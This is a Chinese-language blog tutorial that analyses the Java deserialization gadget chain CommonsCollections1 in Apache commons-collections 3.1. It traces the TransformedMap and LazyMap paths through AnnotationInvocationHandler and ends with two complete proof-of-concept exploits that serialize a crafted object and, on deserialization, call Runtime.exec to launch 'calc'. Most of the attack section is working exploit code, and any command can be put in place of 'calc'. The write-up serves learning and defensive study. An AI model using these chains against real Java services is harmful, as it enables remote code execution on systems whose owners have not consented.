[Java反序列化]—CommonsCollections1

环境 JAVA <71

依赖写入POM.XML



    
        commons-collections
        commons-collections
        3.1
    


0x01:

我是笨比,硬是学了 两天才审明白。 但是回头看 还是挺简单的。。

TransformedMap

直接看类中的decorate()方法,第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
        
            public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }
    
        protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。

测试:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo01 {
    public static void main(String[] args) {
        test1();
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
    public static void test1(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
        outerMap.put("key","value");
        printMap(outerMap);
    }
}

class KeyTransformer implements Transformer {

    @Override
    public Object transform(Object o) {
        System.out.println("KeyTransformer1");
        return "key1";
    }
}
class ValueTransformer implements Transformer{

    @Override
    public Object transform(Object o) {
        System.out.println("ValueTransformer");
        return "value";
    }

}

ConstantTransformer

利用getInstance传值后,会通过transform将对象返回

public class ConstantTransformer implements Transformer, Serializable {

    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    
        public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    
        public Object transform(Object input) {
        return iConstant;
    }
}

测试

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo02 {
    public static void main(String[] args) {
        test2();
    }
    public static void test2(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("snowy"));
        outerMap.put("key","value");
        printMap(outerMap);
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
}

 InvokerTransformer

简单的理解为用于反射,与 ConstantTransformer一样也有getInstance方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance方法没有列举)
 

public class InvokerTransformer implements Transformer, Serializable {

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    
        public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

 测试

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Demo03 {
    public static void main(String[] args) {
        test3();
    }
    public static void test3(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,
                InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));

        outerMap.put("key",Runtime.getRuntime());
    }
}

ChainedTransformer

 类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("aaa","bbb");
    }
}

 测试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class Demo04 {
    public static void main(String[] args) throws Exception {
        test4();
    }
    public static void test4(){
        //这里是定义数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("aaa","bbb");
    }
}

 

TransformedMap链子分析

此链 主要就是通过几个Transform 实现类完成的。

主要的exec 利用 就是在 InvokerTransformer 类中开始的

用回溯法分析,先看transform方法,这里try{}中的内容进行了反射调用

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
        }
在InvokerTransforme中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

知道 三个参数可控就可以构造一个transform的利用方式了 。这里用了反射 和 InvokerTransformer 进行对比。

public class cc1 {
        public static void main(String[] args) throws Exception {
            //反射
            Runtime runtime = Runtime.getRuntime();
            //Class c = Runtime.class;
            //Method execMethod = c.getMethod("exec", String.class);
            //execMethod.invoke(runtime,"calc");
            
            //InvokerTransformer
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
        }
}

我们的目标就是 new InvokerTransformer(方法).transform(对象) 来执行exec

来看看谁调用了transform方法 

[Java反序列化]—CommonsCollections1_第1张图片

 往上查看valueTransformer参数,在TransformedMap中进行了调用,而decorate调用了TransformedMap方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}  

此时就可以通过decorate方法进行调用了

public class test {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap<>();
        TransformedMap.decorate(map, null, invokerTransformer);
    }
}

继续跟进查看谁调用了checkSetValue,在AbstractInputCheckedMapDecoratorsetValue方法中找到

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

继续跟进查看何处调用setValue,在AnnotationInvocationHandler中找到,并且该方法重写了readObject,至此整条链结束

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

编写 POC前有四个问题

Runtime未实现序列化


此时在序列化后发现无法序列化,原因在于Runtime中未实现Serializable接口,这里就可以ChainedTransformer获取Runtime的Class类,因为Class类中实现了Serializable接口,先通过反射和InvokerTransformer用法引出ChainedTransformer
 

//反射
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Object r = getRuntimeMethod.invoke(null, null);             //静态无参方法所以都是null
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
//InvokerTransformer
Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
//ChainedTransformer
Transformer[] transformers = new Transformer[]{
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);

AnnotationInvocationHandler无法实例化

在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public,所以默认是default,无法进行实例化

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class type;
    private final Map memberValues;

    AnnotationInvocationHandler(Class type, Map memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

这里同样使用反射方式获取,这里的outerMap是构造好的Map对象

    //Reflection
    Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
    cons.setAccessible(true);
    Object o = cons.newInstance(Retention.class,outerMap);

memberType 判断

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map> memberTypes = annotationType.memberTypes();


        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

这里的

if (memberType != null) {  // i.e. member still exists

可以使用注解

@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {

    ElementType[] value();
}

知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");
 

for (Map.Entry memberValue : memberValues.entrySet()) {
    String name = memberValue.getKey();
    Class memberType = memberTypes.get(name);

setValue实参不可控

除此外可以看到这里的setValue的值暂时不可控

memberValue.setValue(
           new AnnotationTypeMismatchExceptionProxy(
           value.getClass() + "[" + value + "]").setMember(
           annotationType.members().get(name)));

看下setValue方法

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

继续跟进checkSetValue方法,会调用valueTransformer的transform方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

这时候就联想到了前边说到的ConstantTransformer类,在实例化时调用构造器方法,传入的参数,会经过transform返回,所以如果通过该方法无论transform中的input是何值,都不会改变他return的内容

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

public Object transform(Object input) {
    return iConstant;
}

这里直接加上即可

Transformer[] transformers = new Transformer[]{
			//----------加入的内容------------
             new ConstantTransformer(Runtime.class),
			//--------------------------------
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
new ChainedTransformer(transformers).transform(Runtime.class);

POC

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {

        Transformer transformers[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap<>();
        map.put("value","aaaa");
        Map outmap = TransformedMap.decorate(map, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        Object o = cons.newInstance(Target.class, outmap);

        serialize(o);
        unserialize("1.txt");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

}

LazyMap 链子

了解了transformeMap ,来看CC1第二个链子.

[Java反序列化]—CommonsCollections1_第2张图片

 看下LazyMap 类的get

在get 中 是 factory 调用的 transform(key)

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

所以就要先调用 

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

来控制我们的 factory,decorate 会对factory进行赋值。

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

所以要将TransformMap的链进行修改

//TransformMap
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

改成:
//LazyMap
Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

之后就是动态代理部分了,之所以会用到动态代理,就是因为LazyMap中,AnnotationInvocationHandlerreadObject里面并没有用到get(),但是在invoke()方法中却用到了:

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler类实现了InvocationHandler类,直接就会联想到前边说过的代理

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

所以可以通过AnnotationInvocationHandler对构造的Map进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandlerinvoke方法中,从而调用get方法

POC

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {

        Transformer transformers[] = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap<>();

        Map outmap = LazyMap.decorate(map, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outmap);

        Map poxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

        Object o = constructor.newInstance(Target.class, poxymap);
        serialize(o);
        unserialize("1.txt");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}
 
  

你可能感兴趣的:(JAVA安全,java,开发语言,网络安全)